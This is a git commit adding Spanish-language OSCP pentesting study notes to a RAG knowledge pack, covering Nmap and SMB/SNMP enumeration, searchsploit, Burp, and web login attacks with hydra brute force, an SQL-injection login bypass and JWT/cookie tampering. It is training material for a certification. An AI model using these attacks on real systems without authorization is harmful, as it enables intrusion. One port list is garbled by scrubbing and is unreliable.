saber: pack de metodologia publico (conocimiento/) + doc del RAG
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
This commit is contained in:
sito
parent
12987539a4
commit
7e06ce46cf
76 changed files with 2682 additions and 8 deletions
15
docs/rag.md
15
docs/rag.md
|
|
@ -87,12 +87,15 @@ forma de medirlo— sí está; el corpus lo pone cada quien con sus notas.
|
|||
|---|---|
|
||||
| El código: `indexa`, `busca`, `glosario`, `sistema`, `enriquece/` | **sí** |
|
||||
| El eval (`enriquece/eval_set.jsonl`) | **sí** |
|
||||
| El glosario de tareas de Linux en castellano (`glosario.py`) | **sí** (es conocimiento genérico, no personal) |
|
||||
| El índice (`saber.jsonl`) y sus copias | **no** — los apuntes |
|
||||
| El glosario de tareas de Linux en castellano (`glosario.py`) | **sí** (genérico) |
|
||||
| **El pack de metodología** (`saber/conocimiento/`, ~73 docs) | **sí** — limpio y genérico |
|
||||
| El índice (`saber.jsonl`) y sus copias | **no** — los apuntes indexados |
|
||||
| El diario (`diario.jsonl`) | **no** — las conversaciones |
|
||||
| Lo derivado (`cosecha.jsonl`, `sintesis.jsonl`) | **no** — salen de los apuntes |
|
||||
|
||||
Un detalle útil: `indexa.py` en un equipo recién clonado ya construye un índice
|
||||
**útil sin ningún dato privado** —de las *man pages* del sistema y del glosario—,
|
||||
así que se puede ver el RAG funcionando de inmediato; los apuntes de COFRE solo
|
||||
lo enriquecen si los tienes.
|
||||
Así que un equipo recién clonado, con `indexa.py`, construye un índice **útil sin
|
||||
ningún dato privado**: las *man pages*, el glosario, y **el pack de metodología**
|
||||
(`saber/conocimiento/`) —enumeración, explotación web, shells, privesc, Active
|
||||
Directory, cheatsheets...— con los comandos de verdad. Son apuntes propios estilo
|
||||
OSCP, scrubeados de hosts, credenciales y rutas. Los apuntes privados del usuario
|
||||
(su `saber.jsonl`, su diario) siguen fuera; el pack los complementa.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,23 @@
|
|||
# Estructura del examen
|
||||
|
||||
> 24h de máquinas + 24h para el Reporte OSCP. 70/100 puntos para aprobar.
|
||||
|
||||
## Composición
|
||||
- **Set de Active Directory = 40 puntos seguidos.**
|
||||
- 3 máquinas **encadenadas**. Si te atascas en la máquina 1, no avanzas a 2 y 3.
|
||||
- **Empieza por aquí con tiempo.** Es todo-o-nada por cadena.
|
||||
- Ver Active Directory para el flujo completo.
|
||||
- **3 standalones independientes**, 20 pts cada una.
|
||||
- `user` (10 pt = `local.txt`) + `root/system` (10 pt = `proof.txt`).
|
||||
- **Saca el `user` de las 3 ANTES** de obsesionarte con el root de una.
|
||||
|
||||
## Pruebas (flags)
|
||||
- `local.txt` = prueba de usuario.
|
||||
- `proof.txt` = prueba de root/SYSTEM.
|
||||
- Cada flag con el **hostname visible** (`ipconfig` / `ifconfig`) en la captura.
|
||||
|
||||
## Anti-pánico
|
||||
- Ver Gestión del tiempo y Trampas de enumeración.
|
||||
- Sin Reporte OSCP **no apruebas**, aunque saques 100 puntos técnicos.
|
||||
|
||||
Relacionado: Metodología OSCP · Reglas de herramientas · OSCP MOC
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
# Gestión del tiempo
|
||||
|
||||
> 24h ≠ 24h. **Duermes 6h. Comes. Te duchas.** El cerebro fresco resuelve; el cansado entra en rabbit-holes.
|
||||
|
||||
## Reglas
|
||||
- **1.5h sin progreso = cambia de máquina.** Cierra, vuelve más tarde con cabeza fresca.
|
||||
- Empieza por el **set de AD** (40 pts) con tiempo → ver Estructura del examen.
|
||||
- Saca **todos los `user`** antes de pelear un root concreto.
|
||||
- Vigila el Egress filtering pronto: descubrir tarde que un puerto está bloqueado cuesta horas.
|
||||
|
||||
## Documentación en vivo
|
||||
- Captura **TODO** mientras lo haces (Flameshot/Greenshot), **no al final** — al final no recuerdas el comando exacto.
|
||||
- Cada flag con hostname visible. Ver Reporte OSCP.
|
||||
|
||||
## Anti rabbit-hole
|
||||
- Enumeración exhaustiva primero, luego un vector a la vez → Trampas de enumeración.
|
||||
- Si un vector "tiene que funcionar" y llevas 1h, probablemente es un señuelo.
|
||||
|
||||
Relacionado: Metodología OSCP · OSCP MOC
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# Metodología OSCP
|
||||
|
||||
> El truco real del OSCP no es saber 200 técnicas, es tener una **metodología repetible**.
|
||||
> La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
|
||||
|
||||
## El bucle
|
||||
```
|
||||
Enumeración exhaustiva → vector → foothold →
|
||||
PrivEsc con script automatizado + revisión manual →
|
||||
documentar antes de pasar a la siguiente máquina
|
||||
```
|
||||
|
||||
## Pasos
|
||||
1. **Enumera a fondo** → Enumeración (no asumas nada, mira Puertos olvidados).
|
||||
2. **Encuentra el vector** → web (Enumeración web, SQL injection, LFI a RCE, File upload bypass) o servicio.
|
||||
3. **Foothold** → Reverse shell estabilizada (Estabilizar shell TTY).
|
||||
4. **Privesc** → script automatizado (PEASS-ng) **+** revisión manual (Privesc Linux / Privesc Windows).
|
||||
5. **Loot y pivot** → Mimikatz, Movimiento lateral, Active Directory.
|
||||
6. **Documenta EN VIVO** → Reporte OSCP.
|
||||
|
||||
## Reglas de oro
|
||||
- **Reutiliza credenciales** siempre: una pass de un user suele valer en otros hosts y servicios.
|
||||
- **1.5h sin progreso = cambia de máquina** (ver Gestión del tiempo).
|
||||
- Captura todo mientras lo haces, no al final.
|
||||
|
||||
Relacionado: Estructura del examen · Reglas de herramientas · OSCP MOC
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
# Reglas de herramientas (examen)
|
||||
|
||||
> Qué puedes y qué no puedes usar en el examen OSCP.
|
||||
|
||||
## ✅ Permitido
|
||||
- Nmap + NSE, `enum4linux`, `smbclient`, `rpcclient`, NetExec/CrackMapExec (SMB).
|
||||
- Mimikatz, Impacket, BloodHound, Pivoting ligolo-ng.
|
||||
- `nikto`, `whatweb`, searchsploit, `hydra`, gobuster/feroxbuster/ffuf (Content discovery).
|
||||
- Burp Suite Community (proxy manual; el scanner activo está prohibido, pero no lo necesitas).
|
||||
- **Tus propios scripts** (copy-paste permitido).
|
||||
|
||||
## ⛔ Prohibido
|
||||
- **Metasploit / Meterpreter → solo en UNA máquina.**
|
||||
- Solo el **foothold inicial** cuenta como "uso"; post-explotación con meterpreter NO cuenta.
|
||||
- Explotación automática: `sqlmap` en modo auto, autopwn.
|
||||
- Escáneres de vulnerabilidades masivos: **Nessus, OpenVAS, Nexpose, Core Impact**.
|
||||
- IA durante el examen.
|
||||
|
||||
## Nota práctica
|
||||
Nessus se aprende para el **trabajo real** (es estándar), pero en el examen se replica a mano:
|
||||
```
|
||||
nmap -sV → searchsploit → nmap --script vuln / nikto
|
||||
```
|
||||
|
||||
Relacionado: Estructura del examen · Metodología OSCP · OSCP MOC
|
||||
20
nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md
Normal file
20
nucleo/saber/conocimiento/00 - Metodologia/Reporte OSCP.md
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
# Reporte OSCP
|
||||
|
||||
> **Sin reporte no apruebas**, aunque saques 100 puntos técnicos. Se entrega hasta 24h después del examen.
|
||||
|
||||
## Qué necesitas capturar EN VIVO
|
||||
- Cada comando exacto (no lo recordarás al final).
|
||||
- Cada flag con el **hostname visible** en la misma captura (`ipconfig`/`ifconfig`).
|
||||
- `local.txt` (user) y `proof.txt` (root/SYSTEM) de cada máquina.
|
||||
- Pasos reproducibles: alguien debe poder repetir tu intrusión leyendo el reporte.
|
||||
|
||||
## Plantilla
|
||||
- Markdown: `noraj/OSCP-Exam-Report-Template-Markdown`
|
||||
→ https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
|
||||
|
||||
## Flujo recomendado
|
||||
1. Documenta **antes** de pasar a la siguiente máquina (Metodología OSCP).
|
||||
2. Una carpeta por host con capturas + comandos.
|
||||
3. Al acabar, montas el reporte sobre esas notas.
|
||||
|
||||
Relacionado: Estructura del examen · Gestión del tiempo · Recursos públicos · OSCP MOC
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
# Enumeración web
|
||||
|
||||
> Puertos 80/443/8080. El vector web es el foothold más común en standalones. Parte de Enumeración.
|
||||
> Para la **metodología de ataque** (qué probar en cada input) ve a Hacking web; aquí solo enumeras.
|
||||
|
||||
## Primero, lo manual
|
||||
```
|
||||
Ctrl+U siempre → comentarios con creds, paths, endpoints
|
||||
JS embebidos → APIs ocultas (LinkFinder, JSparser)
|
||||
robots.txt → perezoso; mira también:
|
||||
sitemap.xml, .git/, .svn/, .htaccess, .DS_Store,
|
||||
backup/, old/, dev/, test/, admin/
|
||||
```
|
||||
|
||||
## Fuzzing de contenido
|
||||
Brute force de rutas/ficheros con gobuster/feroxbuster/ffuf → nota dedicada: Content discovery.
|
||||
- Hostnames/vhosts → Vhosts y subdominios.
|
||||
- Intercepta y manipula todo con Burp Suite.
|
||||
|
||||
## Identificar
|
||||
```bash
|
||||
whatweb http://IP
|
||||
nikto -h http://IP
|
||||
```
|
||||
CMS detectado → `wpscan`, `cmsmap`, `searchsploit <cms>`.
|
||||
|
||||
## Vectores típicos
|
||||
Todos en Hacking web: SQL injection · Command injection · Directory traversal · LFI a RCE · File upload bypass · XSS · SSTI · Authentication attacks.
|
||||
|
||||
Relacionado: Content discovery · Trampas de enumeración · Recursos públicos · OSCP MOC
|
||||
24
nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md
Normal file
24
nucleo/saber/conocimiento/01 - Enumeracion/Enumeración.md
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
# Enumeración (índice)
|
||||
|
||||
> "Enumeración exhaustiva" es el paso 1 de la Metodología OSCP y donde más gente pierde horas.
|
||||
> La mayoría de los fallos del examen son enumeración incompleta, no falta de técnica.
|
||||
|
||||
## Flujo
|
||||
1. **Mi IP / red** → `ip a | grep "inet "` (el 3er octeto del lab **cambia** al reiniciar).
|
||||
2. **Descubrimiento de hosts** → ping/ARP sweep (Nmap).
|
||||
3. **Escaneo de puertos** → top-1000 **y** `-p-` completo (Puertos olvidados).
|
||||
4. **Por servicio**:
|
||||
- 445 → SMB
|
||||
- UDP 161 → SNMP
|
||||
- 80/443 → Enumeración web + Content discovery + Hacking web
|
||||
- 3389 → RDP
|
||||
- texto plano (!OS-57179836-OSCP.ovpn25, 110...) → Netcat
|
||||
1. **Scripts NSE** → Nmap NSE (`-sCV`, `--script vuln`).
|
||||
2. **Versión + exploits** → `nmap -sV` → searchsploit.
|
||||
|
||||
## No olvides
|
||||
- Trampas de enumeración (UDP, puertos altos, vhosts, wordlists pequeñas).
|
||||
- Automatiza con Bucles bash sobre IPs.
|
||||
- La web es su propio mundo → Hacking web.
|
||||
|
||||
Relacionado: Operadores Bash · OSCP MOC
|
||||
21
nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md
Normal file
21
nucleo/saber/conocimiento/01 - Enumeracion/Netcat.md
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
# Netcat (recon)
|
||||
|
||||
> Solo para protocolos de **texto**: SMTP, HTTP, POP3... Para shells ver Reverse shell y Egress filtering.
|
||||
|
||||
## Conexión y escaneo
|
||||
```bash
|
||||
nc -nv IP PUERTO # interactivo (host y puerto con ESPACIO, NO ":")
|
||||
nc -nvz IP 1-1000 # modo scan (-z): solo comprueba si abre
|
||||
nc -nvz -u IP 161 # UDP (poco fiable → mejor SNMP dedicado)
|
||||
```
|
||||
- **OJO**: `nc IP:PUERTO` = MAL. `-p` es puerto **origen**, no destino.
|
||||
- SNMP/SMB/DNS son **binarios** → netcat NO sirve, usa la herramienta dedicada.
|
||||
|
||||
## SMTP a mano (enumerar usuarios)
|
||||
```bash
|
||||
nc -nv IP 25
|
||||
VRFY root # 250 existe / 252 Postfix no confirma / 550 no existe
|
||||
QUIT
|
||||
```
|
||||
|
||||
Relacionado: Operadores Bash · Enumeración · OSCP MOC
|
||||
41
nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md
Normal file
41
nucleo/saber/conocimiento/01 - Enumeracion/Nmap NSE.md
Normal file
|
|
@ -0,0 +1,41 @@
|
|||
# Nmap NSE (scripts)
|
||||
|
||||
> El motor de scripts de Nmap: enumeración profunda y detección de vulns sin herramientas extra. Scripts en `/usr/share/nmap/scripts/`.
|
||||
|
||||
## El comando que usas siempre
|
||||
```bash
|
||||
sudo nmap -sCV -p- IP # -sCV = -sC (scripts default) + -sV (versión)
|
||||
# patrón real de tu history_contabo.txt:
|
||||
nmap IP -p- -Pn --min-rate 5000 -vvv -n --open # rápido todos los puertos
|
||||
nmap -p- localhost -sCV # luego versión+scripts sobre lo abierto
|
||||
```
|
||||
Flujo típico: 1) `-p- --open` rápido para ver QUÉ abre → 2) `-sCV` dirigido a esos puertos.
|
||||
|
||||
## Categorías de scripts
|
||||
```
|
||||
default (-sC) los seguros y útiles por defecto
|
||||
vuln comprueba vulnerabilidades conocidas
|
||||
safe / auth no intrusivos / temas de autenticación
|
||||
brute fuerza bruta de credenciales
|
||||
discovery enumeración (snmp, smb, http...)
|
||||
```
|
||||
|
||||
## Por servicio (muy rentable)
|
||||
```bash
|
||||
nmap -p80,443 --script http-enum,http-title,http-headers IP # web → Enumeración web
|
||||
nmap -p445 --script smb-os-discovery,smb-enum-shares,smb-enum-users IP # SMB
|
||||
nmap -p161 -sU --script snmp-info IP # SNMP
|
||||
nmap -p21 --script ftp-anon IP # FTP anónimo
|
||||
nmap --script vuln IP # barrido de vulns
|
||||
```
|
||||
|
||||
## Gestionar scripts
|
||||
```bash
|
||||
nmap --script-help http-enum # qué hace un script
|
||||
ls /usr/share/nmap/scripts | grep smb # listar los disponibles
|
||||
```
|
||||
|
||||
## A través de un túnel
|
||||
`proxychains nmap ...` (de tu history) para escanear la red interna tras Pivoting ligolo-ng (usa `-sT -Pn`, SYN no pasa por proxychains).
|
||||
|
||||
Relacionado: searchsploit · Puertos olvidados · OSCP MOC
|
||||
38
nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md
Normal file
38
nucleo/saber/conocimiento/01 - Enumeracion/Nmap.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# Nmap
|
||||
|
||||
> `-sS` = TCP SYN · `-sU` = UDP · `-sV` = versión. Parte de Enumeración.
|
||||
|
||||
## Descubrimiento de hosts
|
||||
```bash
|
||||
sudo nmap -sn 192.168.X.0/24 # ping sweep: quién está vivo
|
||||
sudo nmap -sn -PR 192.168.X.0/24 # ARP (LAN, el más fiable)
|
||||
sudo nmap -sn -PS21,22,25,80,445 IP/24 # TCP discovery si ICMP filtrado
|
||||
```
|
||||
|
||||
## Escaneo de puertos
|
||||
```bash
|
||||
sudo nmap -sS 192.168.X.0/24 -oG full.txt # SYN top-1000, greppable
|
||||
sudo nmap -p- -Pn --min-rate 5000 -n --open IP # TODOS los 65535, solo abiertos → Puertos olvidados
|
||||
sudo nmap -sU --top-ports 50 -T4 IP # UDP (SNMP/TFTP/NTP)
|
||||
sudo nmap -sCV -p 22,80,445 IP # versión + scripts default → Nmap NSE
|
||||
sudo nmap -p80 --script vuln IP # NSE de vulnerabilidades
|
||||
```
|
||||
|
||||
## El combo de dos pasos (patrón real)
|
||||
```bash
|
||||
nmap -p- -Pn --min-rate 5000 -n --open IP # 1) rápido: ¿qué puertos abren?
|
||||
nmap -sCV -p 22,80,445 IP # 2) dirigido: versión+scripts sobre esos
|
||||
```
|
||||
`-sCV` = `-sC` (scripts default) + `-sV` (versión). Luego `searchsploit` por versión → searchsploit.
|
||||
|
||||
## Salida
|
||||
- `-oN` normal (legible, los NSE salen aquí) · `-oG` greppable (1 línea/host, ideal `grep`) · `-oA` los 3.
|
||||
- Greppeo de resultados → Bucles bash sobre IPs.
|
||||
|
||||
## Trampas
|
||||
- El top-1000 **ya** incluye 80/443/22/445. Si `grep` no saca nada y el scan cubría el puerto → **la máquina no está viva**, no es el scan.
|
||||
- `filtered ≠ open` (firewall/sin respuesta).
|
||||
- `-Pn` en un /24 = ruido (256 hosts "up" falsos). `-Pn` es para **1 host concreto**.
|
||||
- Confusión clásica: **SNMP = UDP/161 (`-sU`)**, **SMTP = TCP/25 (`-sS`)**.
|
||||
|
||||
Relacionado: Nmap NSE · searchsploit · Trampas de enumeración · SMB · OSCP MOC
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Puertos olvidados
|
||||
|
||||
> Donde la gente pierde 4 horas: escanear solo el top-1000 TCP. Parte de Trampas de enumeración.
|
||||
|
||||
## UDP (casi siempre olvidado)
|
||||
```bash
|
||||
nmap -sU --top-ports 50 -T4 IP
|
||||
```
|
||||
- **SNMP (161)**, TFTP (69), NTP (123) suelen dar oro → ver SNMP.
|
||||
|
||||
## Puertos altos TCP
|
||||
```bash
|
||||
nmap -p- --min-rate=5000 IP # los 65535, no solo top-1000
|
||||
```
|
||||
- Servicios escondidos en puertos raros (8080, 50000+...).
|
||||
|
||||
## Por qué importa
|
||||
- Nmap por defecto escanea **solo top-1000 TCP**. Un servicio vulnerable en el 54321 es invisible si no haces `-p-`.
|
||||
- Regla: **siempre** un `-p-` completo además del rápido.
|
||||
|
||||
Relacionado: Nmap · Enumeración · OSCP MOC
|
||||
16
nucleo/saber/conocimiento/01 - Enumeracion/RDP.md
Normal file
16
nucleo/saber/conocimiento/01 - Enumeracion/RDP.md
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
# RDP
|
||||
|
||||
> Escritorio remoto Windows (3389). **Acceso legítimo** con credenciales: no necesita Reverse shell.
|
||||
|
||||
```bash
|
||||
xfreerdp /u:student /p:lab /v:IP /cert:ignore /clipboard
|
||||
xfreerdp3 ... # si la versión nueva
|
||||
```
|
||||
- `/clipboard` = **copiar-pegar entre Kali y Windows** (clave para subir scripts/payloads).
|
||||
- `/cert:ignore` = no protestar por el certificado del lab.
|
||||
|
||||
## Cuándo
|
||||
- Cuando consigues credenciales válidas (reutilización, Mimikatz, GPP cpassword) y la máquina expone 3389.
|
||||
- GUI cómoda para Privesc Windows y para ejecutar PEASS-ng.
|
||||
|
||||
Relacionado: SMB · Movimiento lateral · OSCP MOC
|
||||
30
nucleo/saber/conocimiento/01 - Enumeracion/SMB.md
Normal file
30
nucleo/saber/conocimiento/01 - Enumeracion/SMB.md
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
# SMB
|
||||
|
||||
> Puerto **445** — oro en Active Directory. Parte de Enumeración.
|
||||
|
||||
## Listar shares y usuarios
|
||||
```bash
|
||||
smbclient -L //IP/ -N # shares con sesión nula (OJO: trunca comentarios)
|
||||
smbclient //IP/share -N # entrar (ls, get, !cat)
|
||||
smbclient -L //IP/ -U usuario # con credenciales
|
||||
rpcclient -U "" -N IP -c "netshareenumall" # shares + remark COMPLETO (no trunca)
|
||||
rpcclient -U "" -N IP -c "enumdomusers" # usuarios de dominio (SAM)
|
||||
enum4linux -a IP # TODO (pilla users UNIX locales por RID cycling)
|
||||
nxc smb IP -u '' -p '' --shares --users # NetExec (sucesor de CrackMapExec)
|
||||
```
|
||||
|
||||
## Desde Windows
|
||||
```cmd
|
||||
net view \\dc01 /all :: shares incl. ocultos. Admin shares: ADMIN$, C$, IPC$
|
||||
```
|
||||
|
||||
## Trampas
|
||||
- `smbclient -L` **trunca** comentarios → usa `rpcclient netshareenumall` para el `remark` completo.
|
||||
- Usuarios UNIX locales (`S-1-22-1`) solo los pilla `enum4linux -a` (RID cycling), **no** `enumdomusers`.
|
||||
- Automatiza la red entera con Bucles bash sobre IPs.
|
||||
|
||||
## Sesión nula → siguiente paso
|
||||
Usuarios válidos → AS-REP Roasting, Kerberoasting, spraying (Pass-the-Hash).
|
||||
Shares con `Groups.xml` → GPP cpassword.
|
||||
|
||||
Relacionado: SNMP · Active Directory · OSCP MOC
|
||||
23
nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md
Normal file
23
nucleo/saber/conocimiento/01 - Enumeracion/SNMP.md
Normal file
|
|
@ -0,0 +1,23 @@
|
|||
# SNMP
|
||||
|
||||
> Puerto **UDP 161** (Simple Network Management Protocol). Recuérdalo: es **UDP** (`nmap -sU`), no TCP. Parte de Puertos olvidados.
|
||||
|
||||
## Herramientas
|
||||
```bash
|
||||
onesixtyone -c comm.txt IP/24 # descubre SNMP + fuerza community a la vez
|
||||
snmpwalk -v2c -c public IP OID # recorre el árbol de OIDs
|
||||
snmp-check IP -c public # enumeración bonita y ordenada
|
||||
snmpwalk -v2c -c public -Oa IP OID # -Oa = traduce hex a ASCII
|
||||
```
|
||||
|
||||
## OIDs útiles (numéricos, no dependen de MIBs instalados)
|
||||
```
|
||||
1.3.6.1.2.1.25.4.2.1.2 Procesos en ejecución (hrSWRunName)
|
||||
1.3.6.1.2.1.25.6.3.1.2 Software instalado
|
||||
1.3.6.1.2.1.2.2.1.2 Nombres de interfaces de red (ifDescr)
|
||||
1.3.6.1.4.1.77.1.2.25 Usuarios Windows
|
||||
```
|
||||
- OID = dirección jerárquica: `iso(1).org(3).dod(6).internet(1)...`
|
||||
- Prefijo `1.3.6.1.2.1` (mib-2) es fijo; cambian los números del final.
|
||||
|
||||
Relacionado: Nmap · SMB · Enumeración · OSCP MOC
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Trampas de enumeración
|
||||
|
||||
> Donde la gente pierde 4 horas. Anti-rabbit-hole. Conecta con Gestión del tiempo.
|
||||
|
||||
## El catálogo
|
||||
- **Olvidar UDP** → SNMP (161), TFTP, NTP. Ver Puertos olvidados.
|
||||
- **Olvidar puertos altos** → `nmap -p- --min-rate=5000`. Ver Puertos olvidados.
|
||||
- **Olvidar vhosts/subdominios** → Vhosts y subdominios.
|
||||
- **`/etc/hosts` no actualizado** → añade el dominio en cuanto aparezca.
|
||||
- **Wordlists pequeñas** → `common.txt` es junior; usa `raft-large` / `directory-list-2.3-medium`.
|
||||
|
||||
## Trampas que cuestan horas (del lab real)
|
||||
- **IP del lab dinámica**: el 3er octeto cambia al reiniciar (`.55 .65 .67...`). Haz `ip a` **antes** de escanear.
|
||||
- `filtered ≠ open` (firewall/sin respuesta).
|
||||
- `-Pn` en /24 = 256 "up" falsos. Úsalo solo en **1 host**.
|
||||
- Si `grep` no saca nada y el scan cubría el puerto → **la máquina no está viva**.
|
||||
- **SNMP=UDP/161**, **SMTP=TCP/25**. No confundir.
|
||||
- `smbclient -L` **trunca** comentarios → usa `rpcclient netshareenumall` (SMB).
|
||||
- Flags placeholder tipo `OS{0123456789abcdef}` = **señuelo** (grupo/recurso equivocado).
|
||||
|
||||
Relacionado: Nmap · Enumeración · Metodología OSCP · OSCP MOC
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
# Vhosts y subdominios
|
||||
|
||||
> Si te encuentras una "default Apache page", probablemente hay **virtual hosts** ocultos. Parte de Trampas de enumeración.
|
||||
|
||||
## Fuzzear vhosts
|
||||
```bash
|
||||
gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
|
||||
ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
|
||||
```
|
||||
|
||||
## /etc/hosts
|
||||
- Si la web carga rara o redirige, mira el header `Host:`.
|
||||
- **Añade el dominio a `/etc/hosts` SIEMPRE** que aparezca un hostname.
|
||||
|
||||
## HTTPS revela hostnames
|
||||
```bash
|
||||
openssl s_client -connect IP:443
|
||||
```
|
||||
- El **certificado** te puede chivar el dominio real (CN / SAN).
|
||||
|
||||
Relacionado: Enumeración web · Nmap · OSCP MOC
|
||||
38
nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md
Normal file
38
nucleo/saber/conocimiento/01 - Enumeracion/searchsploit.md
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
# searchsploit
|
||||
|
||||
> Buscador **offline** de Exploit-DB. El puente entre `nmap -sV` y la explotación. Copia local en `tu carpeta` (symlink en `tu carpeta`).
|
||||
|
||||
## El workflow OSCP
|
||||
```
|
||||
Nmap -sV → identificas servicio + VERSIÓN → searchsploit → explotas
|
||||
```
|
||||
Sustituye a los escáneres de vulns prohibidos (Reglas de herramientas).
|
||||
|
||||
## Buscar
|
||||
```bash
|
||||
searchsploit apache 2.4.49 # servicio + versión EXACTA
|
||||
searchsploit -t wordpress # -t = solo en el título (menos ruido)
|
||||
searchsploit "vsftpd 2.3.4"
|
||||
searchsploit --nmap scan.xml # ¡toma un nmap -oX y busca por ti!
|
||||
```
|
||||
- Quita la versión si no sale nada (a veces el exploit es genérico).
|
||||
- Usa términos cortos: `searchsploit drupal` mejor que la cadena entera.
|
||||
|
||||
## Examinar y copiar
|
||||
```bash
|
||||
searchsploit -x 50383 # ver el exploit (path por EDB-ID)
|
||||
searchsploit -m 50383 # MIRROR: lo copia a tu carpeta actual
|
||||
searchsploit -p 50383 # solo imprime la ruta
|
||||
searchsploit -u # actualizar la base
|
||||
```
|
||||
|
||||
## Antes de lanzar un exploit (¡importante!)
|
||||
1. **Léelo entero.** Hay PoCs **maliciosos/falsos** que te hackean a ti.
|
||||
2. Edita lo obvio: IP/puerto del atacante, offsets, URL objetivo, shellcode.
|
||||
3. Si es C: `gcc exploit.c -o exploit` (a veces flags raras, vienen en el comentario).
|
||||
4. Si es Python2 antiguo, ojo con `print`/sockets.
|
||||
|
||||
## Después
|
||||
RCE → Reverse shell. Si es local privesc → mira primero PEASS-ng y Privesc Linux / Privesc Windows (kernel exploit = último recurso).
|
||||
|
||||
Relacionado: Exploits conocidos · Nmap NSE · Enumeración · OSCP MOC
|
||||
|
|
@ -0,0 +1,34 @@
|
|||
# Authentication attacks
|
||||
|
||||
> Romper logins web: credenciales por defecto, fuerza bruta y bypass. Casi siempre el primer intento en Hacking web.
|
||||
|
||||
## 1. Lo gratis primero
|
||||
- **Credenciales por defecto**: `admin:admin`, `admin:password`, `root:root`, las del CMS/producto (búscalas: `searchsploit <producto>` o Google).
|
||||
- **Reutilización**: cualquier credencial que pillaste antes (Metodología OSCP).
|
||||
|
||||
## 2. Fuerza bruta con hydra
|
||||
```bash
|
||||
# Formulario POST: necesitas el campo y el mensaje de fallo
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt IP http-post-form \
|
||||
"/login.php:user=^USER^&pass=^PASS^:Invalid credentials"
|
||||
# HTTP Basic Auth:
|
||||
hydra -L users.txt -P pass.txt IP http-get /admin
|
||||
# SSH (si hay user válido):
|
||||
hydra -l bob -P rockyou.txt ssh://IP
|
||||
```
|
||||
- El `:F=mensaje` o `:S=éxito` es lo que distingue fallo de acierto → cógelo en Burp Repeater e Intruder.
|
||||
|
||||
## 3. Wordlists a medida
|
||||
```bash
|
||||
cewl http://IP -w custom.txt # palabras de la propia web
|
||||
# combinar con reglas de hashcat / variaciones
|
||||
```
|
||||
|
||||
## 4. Bypass (no fuerza bruta)
|
||||
- **SQLi en el login** → `' OR '1'='1'-- -` → SQL injection.
|
||||
- **Cookies/roles manipulables**: `isAdmin=false` → `true`, `role=user` → `admin` (en Burp Suite).
|
||||
- **JWT**: alg `none`, secreto débil (`jwt_tool`, crackeo con rockyou).
|
||||
- **IDOR**: cambia `?id=1` por `?id=2` y accedes a datos de otro.
|
||||
- **Cookie/sesión robada** vía XSS.
|
||||
|
||||
Relacionado: Burp Repeater e Intruder · SQL injection · OSCP MOC
|
||||
|
|
@ -0,0 +1,26 @@
|
|||
# Burp Repeater e Intruder
|
||||
|
||||
> Las dos pestañas de trabajo de Burp Suite: **Repeater** para probar a mano, **Intruder** para automatizar.
|
||||
|
||||
## Repeater (manual, tu favorito en OSCP)
|
||||
- `Ctrl+R` envía una petición capturada aquí.
|
||||
- Editas cualquier parte (param, header, cookie, body) y **Send** → ves la respuesta al instante.
|
||||
- Ideal para iterar payloads de SQL injection, Command injection, SSTI, Directory traversal sin recargar el navegador.
|
||||
- Flujo: marca la petición sospechosa → `Ctrl+R` → prueba `'`, luego `' OR 1=1-- -`, observa el cambio.
|
||||
|
||||
## Intruder (automatizar payloads)
|
||||
- `Ctrl+I` envía aquí. Marcas **posiciones** con `Add §` (Burp pone `§payload§`).
|
||||
- Tipos de ataque:
|
||||
```
|
||||
Sniper → 1 lista, 1 posición a la vez (fuzzing de un parámetro)
|
||||
Battering ram → 1 lista, misma en todas las posiciones
|
||||
Pitchfork → N listas en paralelo (user[1]+pass[1], user[2]+pass[2]...)
|
||||
Cluster bomb → todas las combinaciones (user × pass) → fuerza bruta de login
|
||||
```
|
||||
- **Community va ralentizado** (throttle). Para fuerza bruta seria de login usa **hydra**; para fuzzing de rutas/params usa **ffuf** → Content discovery.
|
||||
|
||||
## Cuándo cada uno
|
||||
- ¿Una petición, muchas variantes a ojo? → **Repeater**.
|
||||
- ¿Misma petición, cientos de payloads? → **Intruder** (o ffuf/hydra si Community se queda corto).
|
||||
|
||||
Relacionado: Burp Suite · Authentication attacks · OSCP MOC
|
||||
39
nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md
Normal file
39
nucleo/saber/conocimiento/02 - Explotacion web/Burp Suite.md
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
# Burp Suite
|
||||
|
||||
> El proxy de interceptación: se pone **entre tu navegador y la web** para ver y **modificar** cada petición. La herramienta nº1 del Hacking web. Instalado en `tu carpeta`.
|
||||
|
||||
## Arrancar
|
||||
```bash
|
||||
tu carpeta
|
||||
# o: java -jar tu carpeta
|
||||
```
|
||||
|
||||
## Montar el proxy (lo primero)
|
||||
1. Navegador → proxy `127.0.0.1:8080` (usa **FoxyProxy** para alternar rápido).
|
||||
